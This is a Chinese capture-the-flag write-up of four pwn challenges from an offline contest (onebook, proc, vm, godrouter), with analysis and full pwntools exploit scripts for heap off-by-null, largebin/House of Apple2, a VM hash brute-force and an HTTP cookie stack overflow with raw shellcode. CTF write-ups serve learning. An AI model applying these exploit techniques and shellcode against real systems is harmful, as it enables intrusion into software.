这次是我第一次参加线下赛,有点紧张。由于对赛制规则的不了解,导致我patch晚了,丢了很多分,不过取得了14名还是不错的。
比赛中pwn类攻了两题,防了三题,vm这题卡在了一个加密函数上,赛后才想明白怎么解,实在是可惜。
onebook(12解)
分析
libc版本为2.27。
典型的堆题构造。
add、edit、show、dele函数都具备。
add和edit存在off by null
输出使用的是puts函数,加上\x00截断,无法提前泄露libc基地址。
所以需要构造堆风水,实现0泄露offbynull。
详细构造方法可以参考默文师傅的这篇文章
高版本libc_off_by_null(一看就懂)
利用offbynull实现堆重叠,实现libc地址泄露,并利用tcachebin attack实现对__free_hook的修改,从而getshell。
Exp
from pwn import *
p = process('./pwn')
libc = ELF('./libc.so.6')
def add(idx,size,data=b'a'):
p.sendlineafter(b'>\n',b'1')
p.sendlineafter(b'ex:',str(idx))
p.sendlineafter(b'ze:',str(size))
if data==b'':
return
p.sendafter(b'ent:',data)
def show(idx):
p.sendlineafter(b'>\n', b'2')
p.sendlineafter(b'ex:', str(idx))
def edit(idx,data):
p.sendlineafter(b'>\n',b'3')
p.sendlineafter(b'ex:',str(idx))
p.sendlineafter(b'ent:', data)
def dele(idx):
p.sendlineafter(b'>\n', b'4')
p.sendlineafter(b'ex:', str(idx))
def pwn():
#构造堆风水
add(0,0x430)
add(1,0x20)
add(2,0x430)
add(3,0x430)
add(4,0x28)
add(5,0x430)
add(6,0x430)
add(7,0x30)
dele(0)
dele(3)
dele(6)
dele(2)
add(2,0x870)
add(6,0x430)
add(0,0x430)
dele(2)
#利用堆残留进行堆指针构造
add(2,0x450,b'a'*0x438+p32(0x471))
add(3,0x410)
dele(0)
dele(3)
add(0,0x430,b'a'*8)
dele(6)
dele(5)
add(5,0x870,b'a'*0x438+p64(0x441))
dele(5)
add(5,0x4f0)
add(6,0x370)
edit(4,b'a'*0x20+p64(0x30+0x440))
dele(5)
#此时offbynull利用成功,4号堆块被重叠了
add(5,0x430)
show(4)
p.recvuntil('\n')
libc.address=u64(p.recv(6).ljust(8,b'\x00'))-0x3ebca0
print('libc:',hex(libc.address))
dele(5)
add(5,0x460,b'a'*0x438+p64(0x31))
dele(7)
dele(4)
edit(5,b'a'*0x438+p64(0x31)+p64(libc.symbols['__free_hook']))
add(4,0x20,b'/bin/sh\x00')
add(7,0x20,p64(libc.symbols['system']))
dele(4)
# gdb.attach(p)
# pause()
p.interactive()
pwn()
proc(4解)
在赛前准备工具中看到了protobuf工具,我就觉着会考这个协议的题,所以提前做了准备。
不考虑协议的话题目利用思路还是蛮简单的,但是由于协议在输入data的时候会malloc堆块,所以很容易破坏堆风水,得小心处理。
分析
2.31的libc。
主体是典型的堆题结构。
但是在前面调用了一个函数对数据进行解析,即protobuf的unpack函数。
有关该协议的内容可以参考PaT1Ent师傅的文章
2024ciscn-ez_buf分析
分析程序可以看到msg结构体,然后以此写proto文件再生成ctf_pb2.py文件即可
回归正题
程序限制malloc大小为0x41f-0x550之间。没有绕过手段,所以一般是要用largebinattack来打。
使用的memcpy进行复制,所以不存在\x00截断,可以正常泄露libc和堆地址
dele函数不清空指针,存在uaf
那么接下来利用思路就简单了,
利用uaf修改largebin的bk_nextsize为_IO_list_all-0x20的地址,利用largebin attack修改_IO_list_all为可控堆块。
将可控堆块构造为fake_io,具体如何构造可参考这篇文章
新型 IO 利用方法学习——House of apple2
再利用程序的exit函数触发_IO_cleanup函数调用IO链从而getshell
Exp
from pwn import *
import ctf_pb2
p = process('./pwn')
libc = ELF('./libc.so.6')
rop=ROP(libc)
def add(size,data=b'a'):
chunk = ctf_pb2.pwn()
chunk.idx=0
chunk.size=size
chunk.content=data
p.sendafter(b'xit', chunk.SerializeToString())
p.sendlineafter(b'ce: ',b'1')
def edit(idx,size,data):
chunk = ctf_pb2.pwn()
chunk.idx=idx
chunk.size=size
chunk.content=data
p.sendafter(b'xit', chunk.SerializeToString())
p.sendlineafter(b'ce: ', b'2')
def dele(idx):
chunk = ctf_pb2.pwn()
chunk.idx = idx
chunk.size = 0
chunk.content = b''
p.sendafter(b'xit', chunk.SerializeToString())
p.sendlineafter(b'ce: ', b'3')
def show(idx):
chunk = ctf_pb2.pwn()
chunk.idx = idx
chunk.size = 0
chunk.content = b''
p.sendafter(b'xit', chunk.SerializeToString())
p.sendlineafter(b'ce: ', b'4')
def exit():
p.sendline('abcd')
def pwn():
add(0x428)#0
add(0x440)#1
add(0x438)#2
add(0x430)#3
add(0x430)#4
dele(1)
dele(3)
add(0x500)#5
show(3)
p.recvuntil('nt: ')
large_arena=u64(p.recv(6).ljust(8,b'\x00'))
libc.address=large_arena-0x1ecbe0-0x400
_IO_list_all = libc.address+0x1ed5a0
print('libc:',hex(libc.address))
show(1)
p.recvuntil('nt: ')
heap = u64(p.recv(6).ljust(8,b'\x00'))
print('heap:',hex(heap))
fakeheap = heap
stderr = libc.address+0x1ed5c0
wfile_jump = libc.address+0x1e8f60
fake_io = flat({
0x20: 0,
0x28: 1,
0x68: p64(libc.symbols['system']),
0x88: p64(stderr - 0x20),
0xa0: p64(fakeheap),
0xc0: p64(2 ** 64 - 1),
0xe0: p64(fakeheap),
0xd8: p64(wfile_jump),
}, filler=b'\x00')
fake_io = fake_io[0x10:]
add(0x430)#6
add(0x500)#7
dele(5)
edit(1,0x20,p64(large_arena)*2+p64(heap)+p64(_IO_list_all-0x20)+b'a'*0x500)#多加0x500防止破坏堆风水
dele(3)
add(0x510)#8
edit(2,0x438,b'a'*0x430+b' sh;')#fp->flag设置,system调用时,rdi指向的就是fp->flag
edit(3,0x200,fake_io+b'a'*0x400)
# #0x92beb
exit()
p.interactive()
pwn()
vm(0解)
这题关键卡在了一个加密函数,经验分享的时候,别的佬也说逆不出来这个函数。
后面根据函数特征,我感觉这是一个hash函数,本身没法逆,只能爆破。
分析
整体框架就是个简易vm虚拟机,每次读取5个字节指令,并解码执行。
这里进行了整体的初始化
vm结构体如下:
通过分析这几个函数可以得知,pop_reg函数对$rsp检查不严格,导致可以负溢出
同时push_num函数也是如此,但push_reg将其转换为正整数check,所以push_reg无法利用。
其中堆结构如下(memory段由mmap分配,在libc段的下面):
利用pop可以向上移到函数指针存放处,得到程序基地址。
但是想要将其输出得先将寄存器值存入mem字段,然后输出,这里存在一个hash加密。
依我看是没法解密的,只能爆破,但是爆破四个字节属实有些夸张,所以我们可以单字节单字节的爆破。
具体实现方式如下:
首先将0x100放入r3寄存器
push 0x100
pop $r3
然后pop将$rsp移到函数指针处,将函数指针存入r0寄存器,再赋值给$r1,再利用imul乘法函数将$r1左移3个字节
pop $r0
add $r1,$r0,$r2 //$r2默认为0
imul $r1,$r1,$r3 // 执行三次
此时$1值如下:
后三个字节为0这样我们就可以进行单字节爆破了。
mov mem[0],$r1 //将$r1的hash值放进去
show mem[0] //显示该值
然后生成0x**000000的hash表,对照表的到第一个字节的值。
再根据第一个字节,继续生成0x**100000的hash表爆破第二个字节。
以此类推,从而泄露地址,劫持程序控制流程。
但根据堆结构图我们知道,这样我们只能得到程序基地址并不能得到memory段的地址。
所以我们需要劫持程序重新执行一遍main函数,此时就能生成新的堆块在先前的堆块下面,从而进行泄露。
重新进入main函数后
我们只要能pop到先前的vm结构体处,就能泄露memory地址。
首先我们要解决的问题是,虚拟指令长度存在0x100限制,
reread功能只能执行一次,且一次只有5个指令。
但是我们可以发现调用push_reg时,rdx为程序地址是个很大的值,edi我们可控为0,而rsi则是残留下来的值。
我们可以利用reread功能点,它执行后残留下来的rsi刚好指向code段。
所以我们将push_reg改为read,然后在reread后调用read就可以往code段里面写足够多的指令。
然后通过先前的方法得到先前的memory地址,然后通过偏移算出现在的memory地址,然后将函数指针改为memory段的地址,就可以跳到memory段执行。
但前提是我们要在memory段布置shellcode。
根据先前分析,我们知道在跳转到memory时,edi,eax都是我们可控的。
而rdx则刚好是memory的地址,所以我们只需要执行以下汇编就可以往memory段写入shellcode。
这里只需要写入四个字节,我们可以直接通过爆破的方式得到:0xcd76bec7哈希运算后为0x050f5e52.
之后就可以直接orw得到flag了。
Exp
from pwn import *
from ctypes import cdll
context.arch='amd64'
p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
genarate_hash = cdll.LoadLibrary('./encrypt.so').encrypt # 这里我直接ida把加密函数复制下来然后生成了.so文件给python使用
#gcc -shared -o encrypt.so -fPIC encrypt.c
def push_reg(reg):
return b'\x01'+p32(reg)
def push_num(num):
return b'\x02'+p32(num)
def pop_reg(reg):
return b'\x03' + p32(reg)
def add_reg(r1,r2,r3):
return b'\x04'+p8(r1)+p8(r2)+p8(r3)+p8(0)
def sub_reg(r1,r2,r3):
return b'\x05' + p8(r1) + p8(r2) + p8(r3) + p8(0)
def imul_reg(r1,r2,r3):
return b'\x06' + p8(r1) + p8(r2) + p8(r3) + p8(0)
def reread():
return b'\x09'
def mov_mem_reg(mem,reg):
return b'\x07'+b'\x00'+p8(reg)+p8(mem)+b'\x00'
def show_mem(mem):
return b'\x08'+p32(mem)
def go(code):
p.send(code)
def decrypt(num):
res = 0
for i in range(num):
p.recvuntil('data in offset ')
p.recvuntil('is ')
n = int(p.recvline()[:-1],16)
res //=0x100
for j in range(0x100):
if genarate_hash(res+j*int(pow(0x100,3)))&(2**32-1)==n:
res+=j*int(pow(0x100,3))
break
return res
########################step1########################
#泄露地址并劫持imul函数指针为main函数
code = b''
code += push_num(0x100)
code += pop_reg(3)
for i in range(0xa):
code += pop_reg(0)
for i in range(4):
code += add_reg(1, 0, 2)
for j in range(3-i):
code += imul_reg(1,1,3)
code += mov_mem_reg(i,1)
for i in range(4):
code += show_mem(i)
code += pop_reg(0)
for i in range(4):
code += add_reg(1, 0, 2)
for j in range(3-i):
code += imul_reg(1,1,3)
code += mov_mem_reg(4+i,1)
for i in range(4):
code += show_mem(4+i)
code+=reread()
go(code)
base_addr_low = decrypt(4)
main = base_addr_low-0x1f30+0x2430
base_addr_high = decrypt(4)
base_addr = base_addr_high*(2**32)+base_addr_low-0x1f30
elf.address = base_addr
print('base_addr:',hex(base_addr))
code = b''
code += push_num(0)
code += push_num(main)
code += imul_reg(1,1,3)
go(code)
########################step2########################
#修改push_reg函数指针为read,subs_reg函数指针为reread,再调用reread最后调用read
code = b''
for i in range(0xc):
code += pop_reg(0)
code += push_num(main-0x2430+0x2841)
code += pop_reg(0)*9
code += push_num(elf.plt['read']&(2**32-1))
code += reread()
go(code)
code = b''
code += push_reg(0)
go(code)
########################step3########################
#泄露memory地址
code = b''
for i in range(0x414):
code += pop_reg(0)
code += pop_reg(0)
code += push_num(0x100)
code += pop_reg(3)
for i in range(4):
code += add_reg(1, 0, 2)
for j in range(3-i):
code += imul_reg(1,1,3)
code += mov_mem_reg(i,1)
for i in range(4):
code += show_mem(i)
code += pop_reg(0)
for i in range(4):
code += add_reg(1, 0, 2)
for j in range(3-i):
code += imul_reg(1,1,3)
code += mov_mem_reg(4+i,1)
for i in range(4):
code += show_mem(4+i)
code += sub_reg(1,1,3)
# time.sleep(3)
go(code)
mem_addr = decrypt(4)*(2**32)+decrypt(4)-0x221000
print('mem_addr:', hex(mem_addr))
########################step4########################
#将短shellcode写入memory,然后改写push_reg指针为memory,然后调用memory写入长shellcode,从而得到flag
code = b''
code += push_reg(0)
go(code)
#shellcode 0xcd76bec7
code = b''
code += push_num(0xcd76bec7)*2
code += pop_reg(0)
code += mov_mem_reg(0,0)
for i in range(0x414):
code += push_num(0)
code += push_num(mem_addr&(2**32-1))
code += push_num(mem_addr//(2**32))
code += push_reg(0)
go(code)
p.send(b'a'*4+asm(shellcraft.cat('flag')))
p.interactive()
godrouter(0解)
赛后看这题才发现异常简单,特别容易利用。
不过比赛的时候对框架函数并不了解,所以肯定是解不出来的。
分析
路由器题。
这题用了microhttpd和openssl的框架,从而实现web通信。
关于microhttpd和openssl的内容可参考以下链接:
openssl函数介绍
microhttpd源码
关键部分1 ,创建一个可写可读可执行的内存,且地址固定。
关键部分2,往该内存写内容,直接写shellcode。
关键部分3,函数sub_27ed即check_cookie函数,这里直接从cookie中读取base64然后解码放入栈中,没检查size大小,很明显存在栈溢出。
结合以上三个关键点,提前在0x123000布置shellcode,再直接栈溢出覆盖返回地址到0x123000即可。
不知道为什么执行命令cat flag > robots.txt的shellcode会导致memmove报错。
所以这里我们的shellcode构成为
open(‘flag’,0)#fd=6
open(‘robots.txt’,2)#fd=7
sendfile(7,6,0,0x100)
close(7)
然后将robots文件篡改,之后再去访问robots文件即可得到flag。
Exp
from pwn import *
import base64
context.arch='amd64'
context.os='linux'
shellcode=b"\x68\x66\x6c\x61\x67\x48\x89\xe7\x31\xd2\x31\xf6\x6a\x02\x58\x0f\x05\x68\x79\x75\x01\x01\x81\x34\x24\x01\x01\x01\x01\x48\xb8\x72\x6f\x62\x6f\x74\x73\x2e\x74\x50\x48\x89\xe7\x31\xd2\x6a\x02\x5e\x6a\x02\x58\x0f\x05\x41\xba\x01\x02\x01\x01\x41\x81\xf2\x01\x03\x01\x01\x6a\x07\x5f\x31\xd2\x6a\x06\x5e\x6a\x28\x58\x0f\x05\x6a\x07\x5f\x6a\x03\x58\x0f\x05"
base_shellcode = base64.b64encode(shellcode).decode().replace('=','%3D')
p = remote('127.0.0.1', 8888)
add_memory_http = 'GET /addmemory HTTP/1.1\r\nHost:127.0.0.1:8888\r\nCookie:session_token=YWRtaW4=.Y3Rmcm91dGVyaXNlYXN5\r\n\r\n'
p.send(add_memory_http)
p.recv(1024)
p = remote('127.0.0.1', 8888)
send_shellcode_http = 'POST /reviewset HTTP/1.1\r\nHost:127.0.0.1:8888\r\nCookie:session_token=YWRtaW4=.Y3Rmcm91dGVyaXNlYXN5\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: {}\r\n\r\nfile='.format(len(base_shellcode)+5)
send_shellcode_http += base_shellcode
p.send(send_shellcode_http)
p.recv(1024)
p = remote('127.0.0.1', 8888)
payload = base64.b64encode(b'a'*0x248+p64(0x123000)).decode()
trigger_stackoverflow_http = 'GET /home HTTP/1.1\r\nHost:127.0.0.1:8888\r\nCookie:session_token=YWRtaW4=.{}\r\n\r\n'.format(payload)
p.send(trigger_stackoverflow_http)
p.recv(1024)
p.interactive()